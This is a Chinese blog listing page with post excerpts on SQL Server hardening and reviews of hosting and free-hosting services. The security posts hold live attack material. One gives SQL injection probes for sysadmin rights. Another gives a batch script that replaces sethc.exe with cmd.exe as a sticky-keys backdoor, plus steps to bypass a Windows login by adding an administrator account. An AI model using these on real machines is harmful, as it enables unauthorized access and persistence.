07年时候，我在博客里写过关于SQL的安全，是从运行用户的角度考虑，设置安全权限，以防止被普通用户通过备份指令上传木马。。。详情参看原文（http://www.3018.com/article.asp?id=40）

    这几天闲来无事，所以打算详细谈谈SQL的安全。首先从黑客最基本的SQL入侵常用的xp_cmdshell扩展存储说起。以前一直没提这个，也是因为本人也常用这个扩展存储在肉鸡上提权，呵呵。今天就详细的写出来吧。

    在SQL Server中，只要具有sysadmin权限的用户可以，都可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令，包括CMD命令和SQL命令。所以一旦服务器里的SQL管理员sa密码被破，而服务器里又没设置安全权限，那么你就乖乖沦为肉鸡吧`` 本文是安全系列文章，所以SA弱口令的破解及扫描就略过了~~

      黑客在选择目标时候，首先选择一个网站作为突破口，检测该站点SQL运行用户是否具有sysadmin权限，提交注入点检测方式：
www.XXX.com/show.asp?id=3018 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
      如果返回正常，那就证明该站是以管理员用户运行SQL数据库，一般多是sa账户。
    那么是否就是sa用户呢，我们再来提交测试下：
www.XXX.com/show.asp?id=3018 and 'sa'=(Select System_user)  如果IE返回正常，就是SA用户。
（注：以上示例中的www.XXX.com/show.asp?id=3018 为网站注入点）

    如果你服务器提前删除了xp_cmdshell，黑客一般会再配合SQL另外2个存储，尽力得到webshell，再上传 xplog70.dll文件，帮你服务器恢复xp_cmdshell存储扩展。呵呵，下面是2个常用的存储，使用方法略过：

1.   Xp_regread    用来读取注册表信息，通过这个存储过程来得到保存在注册表中Web绝对路径
2.   sp_makewebtask  用来得到WebShell的，其主要功能就是导出数据库中表的记录为文件


    根据以上分析得出，我们在做好SQL安全运行用户及目录权限同时，还要删除一些必要的存储扩展。
另外结合其他一些手段，我们打造安全的服务器，本人总结的几点SQL安全设置的经验：


1：将以下有安全问题的SQL扩展存储过程删除.  将以下代码全部复制到"SQL查询分析器"：

use master
EXEC sp_dropextendedproc xp_cmdshell
EXEC sp_dropextendedproc Sp_OACreate
EXEC sp_dropextendedproc Sp_OADestroy
EXEC sp_dropextendedproc Sp_OAGetErrorInfo
EXEC sp_dropextendedproc Sp_OAGetProperty
EXEC sp_dropextendedproc Sp_OAMethod
EXEC sp_dropextendedproc Sp_OASetProperty
EXEC sp_dropextendedproc Sp_OAStop
EXEC sp_dropextendedproc Xp_regaddmultistring
EXEC sp_dropextendedproc Xp_regdeletekey
EXEC sp_dropextendedproc Xp_regdeletevalue
EXEC sp_dropextendedproc Xp_regenumvalues
EXEC sp_dropextendedproc Xp_regread
EXEC sp_dropextendedproc Xp_regremovemultistring
EXEC sp_dropextendedproc Xp_regwrite
drop procedure sp_makewebtask

恢复的命令是：
EXEC sp_addextendedproc 存储过程的名称,@dllname =存储过程的dll

例如：恢复存储过程xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname =xplog70.dll
另外，恢复时如果xplog70.dll已删除需要再copy一个。

2：新开的数据库，我们只给PUBLIC和DB_OWNER权限。网站里的SQL用户，一定不要用SA。

3：系统cmd.exe文件只保留administrators和sysytem权限。（这是为了防止入侵后直接可以提权）

4：可以设置IP策略，选择关闭1433端口的任意IP外连，只开启某某IP用户可以连接SQL服务器。因为服务器里网站是利用localhost本机连接，所以关闭外连端口，对网站的访问没有影响。（本人认为这招最绝，最安全，直接无法连接SQL服务器，更不用说提权了）

5：最后还是提及下，2年前写过的，关于SQL运行用户及目录安全：

  ㈠．计算机管理 -- 建立一个普通用户及密码（用户不允许更改密码，密码永不过期）
  ㈡．服务- Mssqlserver，更改运行用户，输入我们创建的用户和密码。默认为系统system用户。
    SQL 2000企业管理器， 属性-安全中设置的用户，输入创建的用户及密码。默认为系统system用户。

  ㈢．然后设置安装有SQL2000 的盘权限, 如:D盘

      D盘需要以下权限：

administrators 全部权限
System 全部权限
IIS_WPG只读与运行的权限(只应用在当前文件夹)

SQL2000的运行用户(只应用在当前文件夹)
   列出文件夹/读数据
  读属性
  读扩展属性
  读取权限


D:\Program Files\Microsoft SQL Server  (SQL数据库安装目录)
administrators 全部权限
System 全部权限
SQL2000的运行用户全部权限(该文件夹、子文件夹及文件夹)

  
     通过以上5点设置，一般就能彻底杜绝目前所有已知的SQL安全隐患。如果大家还有其他好想法，可以交流一下。

查看更多...

最近刚接手管理的公司一台服务器,三天两头发现被提权入侵,好郁闷...
开始接手时,我就立即设置了各种权限,自认为没什么安全漏洞了.但时隔几天,
就能发现administrators组多了用户...


今天又发现sqlDebugger被提权为管理员了,害我花大量时间去查SQL是否有注入点.
呵呵,,废话多了...进入原题,后来是偶然的发现是被人利用了系统粘滞键漏洞.至于
粘滞键大家都不陌生,只要连按5下shift键,就会被调用出来. 好,问题就在这了!!也
可以说是微软系统的一个安全漏洞吧,因为不仅仅是开机桌面状态下连按5下shift键
,就是远程连接的时候,没输用户和密码,也可以连按5下shift键调用粘滞键功能....


说到这,可能大家能想到了..只要将系统默认的粘滞键所调用文件替换掉其他文件,比如
说换成cmd.exe 这样就可以任意执行命令了!! 如果我们抓到一台肉鸡,按照上述方法,
即使提权的管理员用户被删,我们也可以远程空连,然后连续按5下shift键,就能调用出
命令提示行,接下来又可以创建个管理员....后果可想而知....


下面,我给出个批处理命令,是将cmd.exe替换到粘滞键所调用的sethc.exe文件:

@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo Shift后门
echo 晨曦博客 http://www.chen-xi.cn
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
del /q %systemroot%\system32\dllcache\sethc.exe
del /q %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe


将以上另存为 shift.bat 并运行它，系统里的 sethc.exe 就被换成了改了名的 cmd.exe了!

到这我就不多说了，明白人就知道如何利用这个漏洞!~  



另外按照以上思路,用连按5次shift键也可以破解windows的登录密码了..
首先用DOS盘启动.转到c:\windows\system32\下面.输入如下命令:

copy sethc.exe sethc2.exe   备份粘滞键文件
copy cmd.exe sethc.exe      用cmd.exe覆盖sethc.exe

然后重启机器.当需要输入密码的时候按5下shift就打开cmd窗口,然后输入:
net user admin admin /add     添加admin用户,密码是admin
net localgroup administrators admin /add   提升admin为管理员

查看更多...

本文由本人原创,授权发布站点: 
中国站长站:http://www.chinaz.com/Server/Safe/0414E192007.html
海  特  网:http://www.itdowns.com/edu/safe/20070414/2031.html 

    最近不少朋友及客户的服务器遇到arp欺骗攻击,造成站点被挂木马. 

查看更多...

http://www.host1plus.com

Host1plus可供选择的机房较多，美国、英国、荷兰、德国、立陶宛、新加坡 都可以选择，
对国内网友来说，可能会青睐新加坡机房，因为新加坡机房的速度对于国内来说是比较快的。
Host1plus有中文可供选择，进入其首页后，点击右上面的中国国旗小图标，就进入中文版了。

Host1plus虚拟主机空间,分三个等级供大家挑选： 3G , 50G , 无限制.
其中3G空间，流量30G，2个MySQL数据库，10个FTP账户，无限邮局账户，
购买一年54.6美金，合计4.55美金/月...

查看更多...

一、exabytes 国内访问最快的马来西亚空间

exabytes是马来西亚最大的空间商，成立于2001年，主机分布在马来西亚和美国，其中exabytes.com.my
和exabytes.com是同一家网络服务公司，所不同的是exabytes.com位于美国，而另一个位于马来西亚。

exabytes的产品从学习型主机到个人服务器都有，其中的虚拟主机分为windows和Linux两种。

这里主要推荐Linux虚拟主机，你可以访问exabytes.com.my主站看一下中国访问速度如何，因为他的站
也是在他的服务器上面的，而且便宜吧也购...

查看更多...

该日志是私密日志，只有管理员或发布者可以查看！

      FreakShare免费网盘来自荷兰，具有非常高的人气，Alexa世界排名563，具有简体中文版。

    FreakShare无需注册即可上传文件，单个文件限制250M以内，下载文件需要等待60秒才显示
下载按钮。注册为免费会员可获得1500G存储空间，能够管理你上传的文件，如果有网友下载了你
上传的文件你还可以赚取报酬，...

查看更多...

   FreeMySQL.net 提供的免费MySQL数据库空间，对于主机空间仅支持PHP而不提供MySQL数据库
的用户来说，非常有用！

FreeMySQL可为每个用户免费提供最多5个MySQL数据库。

申请很简单，填写基本资料，收信激活帐户即可。

登陆帐户后，点“Database Manager”创建数据库，
激活信中有用户名、密码、数据库服务器地址、PHPMyAdmin地址等信息。<...

查看更多...

     昨晚000webhost.com免费空间成功激活，立即在博客发布了申请方法，今天继续来讲解如何
使用CPanel控制面板。

1、首先登陆，然后点击 Go to CPanel


2、进入后，你会发现其后台提供的功能超级丰富

查看更多...

　　www.000webhost.com是国外著名空间商Hosting24旗下的一个产品，号称“比收费虚拟主机更好用”,而确实如其所说的，该空间非常优质和稳定。 在国内的速度确实相当的快。

演示空间：http://3018.vacau.com
PHP探针：http://3018.vacau.com/php.php


为保证注册成功，强烈建议请看完本文再注册。切记第4步一般都是是必须的。很多人就是因为不操作第4步而不能激活账号。
...

查看更多...